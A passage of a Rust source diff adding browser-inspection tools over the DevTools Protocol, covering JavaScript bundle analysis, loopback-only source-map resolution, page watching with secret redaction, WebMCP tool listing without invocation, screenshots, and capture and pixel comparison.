.location(Location::new("url", origin.to_string())); + if dropped > 0 { + b = b.limitation(Limitation::new("events_dropped", format!("{dropped} event(s) were dropped against the capture budget"))); + } + if declared_secrets > 0 { + b = b.limitation(Limitation::new("secrets_redacted", format!("{redactions} occurrence(s) of {declared_secrets} declared value(s) were redacted"))); + } + b.build() +} + +// --------------------------------------------------------------------------------------------- +// web_page_js_analyze + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AnalyzeBundleParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default)] + pub target_id: Option, + #[serde(default = "d_inspect_window")] + pub watch_ms: u64, + /// Decode inline (data:) source maps and fetch same-origin maps. + #[serde(default)] + pub load_source_maps: bool, + /// First module of the page in the result. + #[serde(default)] + pub offset: usize, + #[serde(default = "d_module_limit")] + pub limit: usize, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn d_module_limit() -> usize { + 500 +} + +fn web_page_js_analyze(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AnalyzeBundleParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let page_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let flags = CaptureFlags { script_sources: true, network: false, console: false, ..CaptureFlags::default() }; + let mut secrets = Secrets::new(&[]); + let cap = capture_page(&mut client, &page_url, flags, p.watch_ms, &mut secrets, ctx, &dl); + cleanup(&mut client, &dl); + let cap = cap?; + + // Build an AppInput from the fetched script sources and reuse the built-in JS analyser. + use craft_anything_analysis::js_app::{AppFile, AppInput, AppOptions, analyze_application}; + let mut input = AppInput { label: page_url.clone(), format: "web".into(), ..Default::default() }; + let mut source_maps: Vec = Vec::new(); + for s in &cap.scripts { + let path = script_path(&s.url); + if let Some(text) = &s.text { + input.listing.push((path.clone(), text.len() as u64)); + input.files.push(AppFile { path: path.clone(), bytes: text.clone().into_bytes() }); + if p.load_source_maps + && let Some(smu) = &s.source_map_url + { + source_maps.push(resolve_source_map(&browser, smu, &s.url, &dl)); + } + } else { + input.listing.push((path, s.length.unwrap_or(0))); + } + } + if input.files.is_empty() { + return Err(ToolError::new(craft_anything_evidence::ErrorCode::FeatureMissing, "the page exposed no readable script sources over CDP") + .with_remediation("Some pages block source access; try web_page_show, or export and analyse the scripts offline.")); + } + let cancel = ctx.cancel.clone(); + let check = move || cancel.is_cancelled(); + let graph = analyze_application(&input, &AppOptions::default(), &check).map_err(|_| ToolError::cancelled())?; + let bundlers = graph.bundlers.clone(); + let total_modules = graph.modules.len(); + let endpoints = graph.endpoints.len(); + let routes = graph.routes.len(); + let mut result = serde_json::to_value(&graph).map_err(|e| ToolError::internal(e.to_string()))?; + if let Some(o) = result.as_object_mut() { + let page: Vec = graph.modules.iter().skip(p.offset).take(p.limit.max(1)).filter_map(|m| serde_json::to_value(m).ok()).collect(); + o.insert("modules".into(), json!(page)); + o.insert("modules_total".into(), json!(total_modules)); + o.insert("origin".into(), json!(page_url)); + o.insert("source_maps".into(), json!(source_maps)); + o.insert("scripts_seen".into(), json!(cap.scripts.len())); + } + let summary = format!( + "Analysed {} script(s) from {page_url}: {total_modules} module(s), {endpoints} endpoint(s), {routes} route(s){}.", + cap.scripts.len(), + if bundlers.is_empty() { String::new() } else { format!(", bundled with {}", bundlers.join("/")) } + ); + let ev = EvidenceBuilder::new( + "web_page_js_analyze", + Subject { kind: "website".into(), sha256: None, name: Some(page_url.clone()) }, + browser_env(ctx.session.clean_room(), &browser), + ) + .params(json!({"endpoint": browser.endpoint.origin, "load_source_maps": p.load_source_maps, "offset": p.offset, "limit": p.limit})) + .result(result) + .summary(summary) + .confidence(Confidence::Derived) + .authority(Authority::EarlierRecord) + .limitation(Limitation::new( + "live_subset", + "Only the scripts this live page had loaded during the window were analysed; lazily loaded chunks may be missing.", + )) + .limitation(Limitation::new("static_only", "Static reading only: code built at run time (eval, computed imports) is invisible.")) + .coverage(if p.offset == 0 && p.limit >= total_modules { + Coverage::complete(total_modules as u64) + } else { + Coverage::page(p.limit.min(total_modules.saturating_sub(p.offset)) as u64, total_modules as u64, p.offset as u64) + }) + .location(Location::new("url", page_url)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn script_path(url: &str) -> String { + let san = web_common::sanitize_url(url); + if let Some(i) = san.find("://") { + let rest = san.get(i + 3..).unwrap_or(""); + let no_query = rest.split(['?', '#']).next().unwrap_or(rest); + let cleaned = no_query.trim_end_matches('/'); + if cleaned.is_empty() { "index".into() } else { cleaned.to_string() } + } else { + san + } +} + +/// Resolve a declared source-map URL: decode inline data: maps; fetch maps on the script's own +/// loopback origin (literal 127.0.0.1 or [::1] with a port); record others unfetched. +fn resolve_source_map(_browser: &Browser, declared: &str, script_url: &str, dl: &Deadline) -> Value { + if declared.starts_with("data:") { + match craft_anything_formats::sourcemap::decode_data_url(declared) { + Some(bytes) => { + json!({"declared_url": "inline data: URL", "effective_url": "inline", "fetched": true, "bytes": bytes.len(), "script": web_common::sanitize_url(script_url)}) + } + None => json!({"declared_url": "inline data: URL", "fetched": false, "reason": "not valid base64", "script": web_common::sanitize_url(script_url)}), + } + } else if let Some((ep, path)) = same_loopback_origin_map(declared, script_url) { + let effective = web_common::sanitize_url(&format!("{}{path}", ep.origin)); + match cdp::http_get(&ep, &path, dl) { + Ok((status, bytes)) if (200..300).contains(&status) => { + json!({"declared_url": web_common::sanitize_url(declared), "effective_url": effective, "fetched": true, "bytes": bytes.len(), "script": web_common::sanitize_url(script_url)}) + } + Ok((status, _)) => { + json!({"declared_url": web_common::sanitize_url(declared), "effective_url": effective, "fetched": false, "reason": format!("the page's server answered HTTP {status}"), "script": web_common::sanitize_url(script_url)}) + } + Err(e) => { + json!({"declared_url": web_common::sanitize_url(declared), "effective_url": effective, "fetched": false, "reason": e.message, "script": web_common::sanitize_url(script_url)}) + } + } + } else { + json!({"declared_url": web_common::sanitize_url(declared), "fetched": false, "reason": "cross-origin or remote maps are not fetched; download and use js_source_locate", "script": web_common::sanitize_url(script_url)}) + } +} + +/// Split an `http://host:port/path` URL into its loopback endpoint and path (query kept, fragment +/// dropped). `None` unless the host is literal loopback with an explicit port. +fn loopback_origin_and_path(url: &str) -> Option<(cdp::Endpoint, String)> { + let rest = url.strip_prefix("http://")?; + let (authority, path) = match rest.find(['/', '?', '#']) { + Some(i) => (rest.get(..i)?, rest.get(i..)?), + None => (rest, ""), + }; + let ep = cdp::parse_endpoint(&format!("http://{authority}")).ok()?; + let path = path.split('#').next().unwrap_or(""); + let path = if path.starts_with('/') { path.to_string() } else { format!("/{path}") }; + Some((ep, path)) +} + +/// Resolve a declared source-map URL against its script and return the endpoint and request path +/// only when the map lives on the script's own loopback origin. +fn same_loopback_origin_map(declared: &str, script_url: &str) -> Option<(cdp::Endpoint, String)> { + let declared = declared.trim(); + if declared.is_empty() || declared.chars().any(|c| c.is_whitespace() || c.is_control()) { + return None; + } + let (script_ep, script_path) = loopback_origin_and_path(script_url)?; + let lower = declared.to_ascii_lowercase(); + let absolute = if lower.starts_with("http://") { + declared.to_string() + } else if declared.starts_with("//") { + format!("http:{declared}") + } else if declared.starts_with('/') { + format!("{}{declared}", script_ep.origin) + } else if declared.split(['/', '?', '#']).next().is_some_and(|first| first.contains(':')) { + // Another scheme (https:, file:, blob:, …). + return None; + } else { + let dir = script_path.split('?').next().unwrap_or(""); + let dir = dir.get(..dir.rfind('/').map_or(0, |i| i + 1)).unwrap_or("/"); + format!("{}{dir}{declared}", script_ep.origin) + }; + let (ep, path) = loopback_origin_and_path(&absolute)?; + (ep == script_ep).then_some((ep, path)) +} + +// --------------------------------------------------------------------------------------------- +// web_page_watch + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ObserveSessionParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default)] + pub target_id: Option, + /// Observation window in milliseconds (default 10s). + #[serde(default = "d_session_window")] + pub watch_ms: u64, + #[serde(default)] + pub with_websocket_outlines: bool, + #[serde(default)] + pub hidden_values: Vec, + #[serde(default = "d_session_timeout")] + pub timeout_secs: u64, +} + +fn d_session_window() -> u64 { + 10_000 +} +fn d_session_timeout() -> u64 { + 120 +} + +fn web_page_watch(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ObserveSessionParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let page_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let flags = CaptureFlags { network: true, console: true, websocket_outlines: p.with_websocket_outlines, ..CaptureFlags::default() }; + let mut secrets = Secrets::new(&p.hidden_values); + let cap = capture_page(&mut client, &page_url, flags, p.watch_ms, &mut secrets, ctx, &dl); + cleanup(&mut client, &dl); + let cap = cap?; + let req_n = cap.result["network"]["request_count"].as_u64().unwrap_or(0); + let con_n = cap.result["console"]["count"].as_u64().unwrap_or(0); + let summary = format!("Watched {page_url} for {}ms: {req_n} request outline(s), {con_n} console entr(y/ies).", p.watch_ms); + let ev = passive_evidence( + "web_page_watch", + ctx.session.clean_room(), + &browser, + &page_url, + cap.result, + summary, + cap.dropped, + p.hidden_values.len(), + secrets.redactions, + )?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// web_mcp_tools_list + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DiscoverWebmcpParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default)] + pub target_id: Option, + #[serde(default = "d_webmcp_window")] + pub watch_ms: u64, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn d_webmcp_window() -> u64 { + 100 +} + +fn web_mcp_tools_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DiscoverWebmcpParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let page_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let supported = client.call("WebMCP.enable", json!({}), None, &dl); + let (available, tools, note) = match supported { + Ok(_) => { + let window = window_deadline(ctx, p.watch_ms, &dl); + let _ = client.pump_until(&window); + let events = client.take_events(); + let mut tools: Vec = Vec::new(); + for ev in events.iter().filter(|e| e.method == "WebMCP.toolsAdded") { + for t in ev.params.get("tools").and_then(Value::as_array).into_iter().flatten().take(500) { + tools.push(json!({"name": t.get("name").and_then(Value::as_str).unwrap_or_default(), "input_outline": t.get("inputSchema").map(web_common::json_outline).unwrap_or(Value::Null)})); + } + } + (true, tools, "tools are advertised only; none were invoked") + } + Err(e) if e.code == craft_anything_evidence::ErrorCode::FeatureMissing => { + (false, Vec::new(), "this browser does not implement the experimental WebMCP CDP domain") + } + Err(e) => return cleanup_then_err(&mut client, &dl, e), + }; + cleanup(&mut client, &dl); + let summary = if available { + format!("WebMCP on {page_url}: {} tool(s) advertised.", tools.len()) + } else { + format!("WebMCP is not supported by the browser at {}.", browser.endpoint.origin) + }; + let ev = EvidenceBuilder::new( + "web_mcp_tools_list", + Subject { kind: "website".into(), sha256: None, name: Some(page_url.clone()) }, + browser_env(ctx.session.clean_room(), &browser), + ) + .params(json!({"endpoint": browser.endpoint.origin})) + .result(json!({"origin": page_url, "webmcp_supported": available, "tools": tools, "note": note})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitation(Limitation::new("experimental", "WebMCP is an experimental CDP domain; absence here does not prove the page offers no in-page tools.")) + .coverage(Coverage { status: CoverageStatus::Partial, examined: Some(tools.len() as u64), total: None, next_offset: None }) + .location(Location::new("url", page_url)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn cleanup_then_err(client: &mut CdpClient, dl: &Deadline, e: ToolError) -> Result { + cleanup(client, dl); + Err(e) +} + +// --------------------------------------------------------------------------------------------- +// web_page_screenshot_take + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ScreenshotParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default)] + pub target_id: Option, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn web_page_screenshot_take(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ScreenshotParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let page_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let _ = client.call("Page.enable", json!({}), None, &dl); + let shot = client.call("Page.captureScreenshot", json!({"format": "png"}), None, &dl); + cleanup(&mut client, &dl); + let shot = shot?; + let data = shot + .get("data") + .and_then(Value::as_str) + .ok_or_else(|| ToolError::new(craft_anything_evidence::ErrorCode::GarbledOutput, "the browser returned no screenshot data"))?; + let bytes = web_common::b64_decode(data)?; + let artifact = web_common::png_artifact(&bytes)?; + let summary = format!("Captured a {}×{} PNG of {page_url} ({} bytes).", artifact["width"], artifact["height"], bytes.len()); + let ev = EvidenceBuilder::new( + "web_page_screenshot_take", + Subject { kind: "website".into(), sha256: None, name: Some(page_url.clone()) }, + browser_env(ctx.session.clean_room(), &browser), + ) + .params(json!({"endpoint": browser.endpoint.origin, "target_id": p.target_id})) + .result(json!({"origin": page_url, "screenshot": artifact})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitation(Limitation::new("single_frame", "One image of the page's current state.")) + .coverage(Coverage::complete(1)) + .location(Location::new("url", page_url)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// web_snapshots_compare (pure computation) + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CompareCapturesParams { + /// The earlier capture: web_page_show / web_page_watch evidence (inline or retained). + pub before: Value, + /// The later capture. + pub after: Value, + /// Exact-literal replacements applied to every text value of both sides before comparing, in + /// rule_id order (at most 100), so volatile values such as build ids don't count as changes. + #[serde(default)] + pub normalization: Vec, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct NormalizationRule { + pub rule_id: String, + /// The exact text to replace (no patterns). + #[serde(rename = "match")] + pub find: String, + pub replacement: String, +} + +/// Apply the rules to every string in `v`; returns how many replacements each rule made. +fn normalize(v: &mut Value, rules: &[NormalizationRule], counts: &mut [u64]) { + match v { + Value::String(s) => { + for (rule, n) in rules.iter().zip(counts.iter_mut()) { + let hits = s.matches(rule.find.as_str()).count() as u64; + if hits > 0 { + *s = s.replace(rule.find.as_str(), &rule.replacement); + *n += hits; + } + } + } + Value::Array(a) => a.iter_mut().for_each(|x| normalize(x, rules, counts)), + Value::Object(o) => o.values_mut().for_each(|x| normalize(x, rules, counts)), + _ => {} + } +} + +fn web_snapshots_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let mut p: CompareCapturesParams = parse_params(params)?; + if p.normalization.len() > 100 || p.normalization.iter().any(|r| r.find.is_empty()) { + return Err(ToolError::invalid("normalization: at most 100 rules, each with a non-empty match")); + } + p.normalization.sort_by(|a, b| a.rule_id.cmp(&b.rule_id)); + let expected = &["web_page_show", "web_page_watch", "web_page_js_analyze", "web_walkthrough_record"]; + let mut before = super::artifact_tools::resolve_evidence_input(ctx, &p.before, expected)?; + let mut after = super::artifact_tools::resolve_evidence_input(ctx, &p.after, expected)?; + let mut counts = vec![0u64; p.normalization.len()]; + normalize(&mut before.result, &p.normalization, &mut counts); + normalize(&mut after.result, &p.normalization, &mut counts); + let applied: Vec = p.normalization.iter().zip(&counts).map(|(r, n)| json!({"rule_id": r.rule_id, "replacements": n})).collect(); + let walkthrough = |r: &Value| r.get("steps").is_some() && r.get("action_count").is_some(); + if walkthrough(&before.result) || walkthrough(&after.result) { + if !(walkthrough(&before.result) && walkthrough(&after.result)) { + return Err(ToolError::invalid("compare a scripted run with another scripted run, not with a page capture")); + } + let mut diff = diff_walkthroughs(&before.result, &after.result); + diff["normalization"] = json!(applied); + let changed = diff["summary"]["changed_steps"].as_u64().unwrap_or(0); + let net = &diff["network_requests"]; + let summary = format!( + "Compared two scripted runs: {changed} step(s) differ; {} request(s) only in the later run, {} only in the earlier one.", + net["added_count"], net["removed_count"] + ); + let ev = EvidenceBuilder::new( + "web_snapshots_compare", + Subject { kind: "comparison".into(), sha256: None, name: Some("scripted runs".into()) }, + super::artifact_tools::env(ctx), + ) + .params(json!({"before": before.id, "after": after.id, "normalization_rules": p.normalization.len()})) + .result(diff) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("not_proof_of_equality", "Missing, aborted or truncated runs never prove that two runs behave the same.")) + .coverage(Coverage::complete(1)) + .link(before.id) + .link(after.id) + .build()?; + return Ok(ToolOutput::evidence(ev)); + } + let mut diff = diff_captures(&before.result, &after.result); + if !applied.is_empty() { + diff["normalization"] = json!(applied); + } + let changed = diff["summary"]["changed_sections"].as_array().map_or(0, Vec::len); + let summary = + format!("Compared two captures of {}: {changed} section(s) changed.", before.result.get("origin").and_then(Value::as_str).unwrap_or("the page")); + let ev = EvidenceBuilder::new( + "web_snapshots_compare", + Subject { kind: "comparison".into(), sha256: None, name: before.result.get("origin").and_then(Value::as_str).map(String::from) }, + super::artifact_tools::env(ctx), + ) + .params(json!({"before": before.id, "after": after.id})) + .result(diff) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("normalized", "Timing and event sequence are dropped before comparison; only structural differences are reported.")) + .coverage(Coverage::complete(1)) + .link(before.id) + .link(after.id) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn string_set(v: &Value, pointer: &str, field: &str) -> std::collections::BTreeSet { + v.pointer(pointer) + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|e| if field.is_empty() { e.as_str().map(String::from) } else { e.get(field).and_then(Value::as_str).map(String::from) }) + .collect() +} + +fn set_diff(before: &std::collections::BTreeSet, after: &std::collections::BTreeSet) -> Value { + let added: Vec<&String> = after.difference(before).collect(); + let removed: Vec<&String> = before.difference(after).collect(); + json!({"added": added, "removed": removed, "added_count": added.len(), "removed_count": removed.len()}) +} + +fn diff_captures(before: &Value, after: &Value) -> Value { + let sections = [ + ("frame_origins", "/frame_origins", ""), + ("resources", "/resources", "url"), + ("scripts", "/scripts", "url"), + ("network_requests", "/network/requests", "url"), + ("endpoints", "/endpoints", "url"), + ]; + let mut out = serde_json::Map::new(); + let mut changed: Vec<&str> = Vec::new(); + for (name, ptr, field) in sections { + let b = string_set(before, ptr, field); + let a = string_set(after, ptr, field); + if b.is_empty() && a.is_empty() { + continue; + } + let d = set_diff(&b, &a); + if d["added_count"].as_u64() != Some(0) || d["removed_count"].as_u64() != Some(0) { + changed.push(name); + } + out.insert(name.to_string(), d); + } + // DOM element-count deltas. + let dom_b = before.pointer("/dom/elements_by_name").and_then(Value::as_object).cloned().unwrap_or_default(); + let dom_a = after.pointer("/dom/elements_by_name").and_then(Value::as_object).cloned().unwrap_or_default(); + if dom_b != dom_a && (!dom_b.is_empty() || !dom_a.is_empty()) { + changed.push("dom"); + } + json!({"sections": out, "dom": {"before": dom_b, "after": dom_a}, "summary": {"changed_sections": changed}}) +} + +/// The parts of a step that matter when comparing runs: what it did, where it ended up, and a +/// digest (or the value) of each artifact. +fn step_fingerprint(step: &Value) -> serde_json::Map { + let mut f = serde_json::Map::new(); + for k in ["action", "status", "url", "error"] { + f.insert(k.into(), step.get(k).cloned().unwrap_or(Value::Null)); + } + for (name, art) in step.get("artifacts").and_then(Value::as_object).into_iter().flatten() { + f.insert(format!("artifacts.{name}"), art.get("sha256").cloned().unwrap_or_else(|| art.clone())); + } + if let Some(shot) = step.get("screenshot") { + f.insert("screenshot".into(), shot.get("sha256").cloned().unwrap_or_else(|| shot.clone())); + } + f +} + +fn field_changes(before: &serde_json::Map, after: &serde_json::Map) -> Vec { + let keys: std::collections::BTreeSet<&String> = before.keys().chain(after.keys()).collect(); + keys.into_iter() + .filter_map(|k| { + let (b, a) = (before.get(k).unwrap_or(&Value::Null), after.get(k).unwrap_or(&Value::Null)); + (b != a).then(|| json!({"field": k, "before": b, "after": a})) + }) + .collect() +} + +/// Two web_walkthrough_record results, step by step. +fn diff_walkthroughs(before: &Value, after: &Value) -> Value { + let key = |(i, s): (usize, &Value)| s.get("step_id").and_then(Value::as_str).map(String::from).unwrap_or_else(|| format!("#{i}")); + let steps = |r: &Value| -> Vec<(String, Value)> { + r.get("steps").and_then(Value::as_array).into_iter().flatten().enumerate().map(|(i, s)| (key((i, s)), s.clone())).collect() + }; + let (b_steps, a_steps) = (steps(before), steps(after)); + let a_map: std::collections::BTreeMap<&str, &Value> = a_steps.iter().map(|(k, v)| (k.as_str(), v)).collect(); + let mut rows = Vec::new(); + let mut changed = 0u64; + for (k, b) in &b_steps { + match a_map.get(k.as_str()) { + Some(a) => { + let changes = field_changes(&step_fingerprint(b), &step_fingerprint(a)); + if !changes.is_empty() { + changed += 1; + } + rows.push(json!({"step": k, "status": if changes.is_empty() { "same" } else { "changed" }, "changes": changes})); + } + None => { + changed += 1; + rows.push(json!({"step": k, "status": "only_before"})); + } + } + } + for (k, _) in a_steps.iter().filter(|(k, _)| !b_steps.iter().any(|(bk, _)| bk == k)) { + changed += 1; + rows.push(json!({"step": k, "status": "only_after"})); + } + let requests = |r: &Value| -> std::collections::BTreeSet { + r.pointer("/network/requests") + .and_then(Value::as_array) + .into_iter() + .flatten() + .map(|q| format!("{} {}", q.get("method").and_then(Value::as_str).unwrap_or_default(), q.get("url").and_then(Value::as_str).unwrap_or_default())) + .collect() + }; + let event_counts = |r: &Value| -> std::collections::BTreeMap { + let mut m = std::collections::BTreeMap::new(); + for e in r.pointer("/events/items").and_then(Value::as_array).into_iter().flatten() { + *m.entry(e.get("kind").and_then(Value::as_str).unwrap_or_default().to_string()).or_insert(0) += 1; + } + m + }; + let finals = |r: &Value| { + let mut f = serde_json::Map::new(); + for (name, art) in r.get("final_artifacts").and_then(Value::as_object).into_iter().flatten() { + f.insert(name.clone(), art.get("sha256").cloned().unwrap_or_else(|| art.clone())); + } + f + }; + let aborted: Vec<&str> = [("before", before), ("after", after)].into_iter().filter(|(_, r)| !r["aborted"].is_null()).map(|(n, _)| n).collect(); + let (eb, ea) = (event_counts(before), event_counts(after)); + json!({ + "kind": "walkthrough", + "steps": rows, + "network_requests": set_diff(&requests(before), &requests(after)), + "event_counts": {"before": eb, "after": ea, "same": eb == ea}, + "final_artifacts": field_changes(&finals(before), &finals(after)), + "comparable": aborted.is_empty(), + "aborted_runs": aborted, + "summary": {"changed_steps": changed, "steps_before": b_steps.len(), "steps_after": a_steps.len()}, + }) +} + +// --------------------------------------------------------------------------------------------- +// web_pixels_compare (pure computation) + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CompareScreenshotsParams { + /// Earlier PNG: a web_page_screenshot_take evidence (inline/retained), or inline {base64} / {path}. + pub before: Value, + /// Later PNG. + pub after: Value, + /// Per-channel difference a pixel must exceed to count as changed (0..=255). + #[serde(default)] + pub tolerance: u8, + /// Compare the area both images share (top-left) when their sizes differ, and add a coarse + /// `layout_similarity` (0..1, share of 16 px tiles with matching mean colour) and a + /// `perceptual_similarity` (0..1, mean SSIM of brightness: edges, text, texture). Use it to + /// compare a rebuild with the original page, whose heights rarely match exactly. + #[serde(default)] + pub common_area: bool, + /// With common_area: a noise-.png mask from web_site_capture ({path} or {base64}); + /// its white squares (parts that change by themselves) are left out of the layout and detail. + #[serde(default)] + pub ignore: Option, +} + +fn web_pixels_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CompareScreenshotsParams = parse_params(params)?; + let a = load_png(ctx, &p.before, "before")?; + let b = load_png(ctx, &p.after, "after")?; + let mask = p.ignore.as_ref().map(|v| load_png(ctx, v, "ignore").and_then(|m| web_common::NoiseMask::from_png(&m))).transpose()?; + let mut img_a = web_common::decode_png(&a)?; + let mut img_b = web_common::decode_png(&b)?; + let sizes = json!({"before": {"width": img_a.width, "height": img_a.height}, "after": {"width": img_b.width, "height": img_b.height}}); + if p.common_area { + let (w, h) = (img_a.width.min(img_b.width), img_a.height.min(img_b.height)); + img_a = web_common::crop(&img_a, w, h); + img_b = web_common::crop(&img_b, w, h); + } + let mut diff = web_common::pixel_diff(&img_a, &img_b, p.tolerance); + if p.common_area + && let Some(o) = diff.as_object_mut() + { + let sim = web_common::block_similarity_masked(&img_a, &img_b, 16, 24, mask.as_ref()); + o.insert("layout_similarity".into(), json!(sim)); + o.insert("perceptual_similarity".into(), json!(web_common::perceptual_similarity_masked(&img_a, &img_b, mask.as_ref()))); + o.insert("sizes".into(), sizes); + if let Some(m) = &mask { + o.insert("ignored_tiles".into(), json!(m.count())); + } + } + let summary = if let Some(sim) = diff.get("layout_similarity").and_then(Value::as_f64) { + format!( + "Over the shared {}×{} area the layout is {:.0}% alike and the detail {:.0}% ({} pixel(s) differ exactly).", + img_a.width, + img_a.height, + sim * 100.0, + diff.get("perceptual_similarity").and_then(Value::as_f64).unwrap_or(0.0) * 100.0, + diff["differing_pixels"] + ) + } else if diff["comparable"] == false { + "The two screenshots have different dimensions and cannot be compared pixel by pixel.".to_string() + } else if diff["identical"] == true { + "The two screenshots are identical within the threshold.".to_string() + } else { + format!("{} of {} pixel(s) differ (max channel delta {}).", diff["differing_pixels"], diff["total_pixels"], diff["max_channel_delta"]) + }; + let ev = EvidenceBuilder::new("web_pixels_compare", Subject { kind: "comparison".into(), sha256: None, name: Some("screenshots".into()) }, super::artifact_tools::env(ctx)) + .params(json!({"tolerance": p.tolerance, "common_area": p.common_area, "before_sha256": craft_anything_evidence::sha256_hex(&a), "after_sha256": craft_anything_evidence::sha256_hex(&b)})) + .result(diff) + .summary(summary) + .confidence(Confidence::Derived) + .coverage(Coverage::complete(1)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +/// Load PNG bytes from capture evidence, inline {base64}, or {path}. +fn load_png(ctx: &Ctx<'_>, v: &Value, what: &str) -> Result, ToolError> { + if let Some(b64) = v.get("base64").and_then(Value::as_str) { + return web_common::b64_decode(b64); + } + if let Some(path) = v.get("path").and_then(Value::as_str) { + let path = super::artifact_tools::abs_path(path, &format!("{what}.path"))?; + return super::artifact_tools::read_capped(&path, web_common::MAX_SCREENSHOT_BYTES as u64); + } + // Evidence from web_page_screenshot_take. + let ev = super::artifact_tools::resolve_evidence_input(ctx, v, &["web_page_screenshot_take"])?; + let b64 = + ev.result.pointer("/screenshot/base64").and_then(Value::as_str).ok_or_else(|| ToolError::invalid(format!("{what} evidence has no screenshot")))?; + web_common::b64_decode(b64) +} + +// --------------------------------------------------------------------------------------------- +// web_walkthrough_record (active, consent-gated) + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case", tag = "kind")] +pub enum WalkthroughAction { + Goto { + url: String, + #[serde(default)] + wait_ms: Option, + }, + Click { + #[serde(flatten)] + at: Locator, + }, + Fill { + #[serde(flatten)] + at: Locator, + value: String, + }, + Press { + #[serde(flatten)] + at: Locator, + key: String, + }, + Select { + #[serde(flatten)] + at: Locator, + value: String, + }, + Wait { + ms: u64, + }, +} + +/// The element a step acts on: exactly one of a CSS `selector`, a `test_id` (data-testid), or a +/// `role` with its accessible `name` (what a screen reader says, e.g. role button, name "Sign in"). +#[derive(Debug, Deserialize, JsonSchema)] +pub struct Locator { + #[serde(default)] + pub selector: Option, + #[serde(default)] + pub test_id: Option, + /// ARIA role: button, link, textbox, checkbox, combobox, tab, menuitem… + #[serde(default)] + pub role: Option, + /// The exact accessible name to match with `role`. + #[serde(default)] + pub name: Option, +} + +impl Locator { + /// The DOM node it names, or a plain error saying what wasn't found. Its form is judged by + /// [`Locator::check`], before this. + fn node(&self, client: &mut CdpClient, dl: &Deadline) -> Result { + match (&self.selector, &self.test_id, &self.role, &self.name) { + (Some(css), None, None, None) => query_node(client, css, dl), + (None, Some(id), None, None) => query_node(client, &format!("[data-testid=\"{}\"]", id.replace('\\', "\\\\").replace('"', "\\\"")), 